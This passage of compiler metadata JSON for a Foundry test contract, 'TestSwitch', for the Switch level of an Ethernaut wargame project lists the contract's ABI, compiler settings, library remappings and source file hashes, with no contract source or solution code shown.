StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Switch.t.sol\":\"TestSwitch\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Switch.sol\":{\"keccak256\":\"0x8152b92460f5bb30b1d8cb3c548d8b33da6b10745112972d62ab9391f43d445e\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb2baa735fb2c1c959976a09e8ae90a923723027d67d51d0ca396d5fe5bc9ba\",\"dweb:/ipfs/QmZRiAvzKHhmqEpEAgCzrQDVVV3XZFRFDMiH6sUjzDXYgv\"]},\"src/levels/SwitchFactory.sol\":{\"keccak256\":\"0x670e61a90ecdd073cf5912b6cbfc90d2ed9057da7046dbeec384c67715b8b403\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://61acc79d39a16340a5ba8a3b4b694771c4cb8adbf7204a4ae0c7dac3685fdc87\",\"dweb:/ipfs/QmaSr9T2TW6e261E9yUZ6VS1tJhzrFEGgyVVi828MZGsDK\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Switch.t.sol\":{\"keccak256\":\"0xf962bce91f13679644d6b687fed0128c7ef4a4672e3985485c987179930b2e6a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://99624a3c09769ed2fb0d5f7af84144e66fb5c59cedb6641c24d35a92c3944ffc\",\"dweb:/ipfs/QmQuG6iuVgGUDW17c13xP65SSEA6CXgzgSkX9FRNU2saVB\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Switch.t.sol":"TestSwitch"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e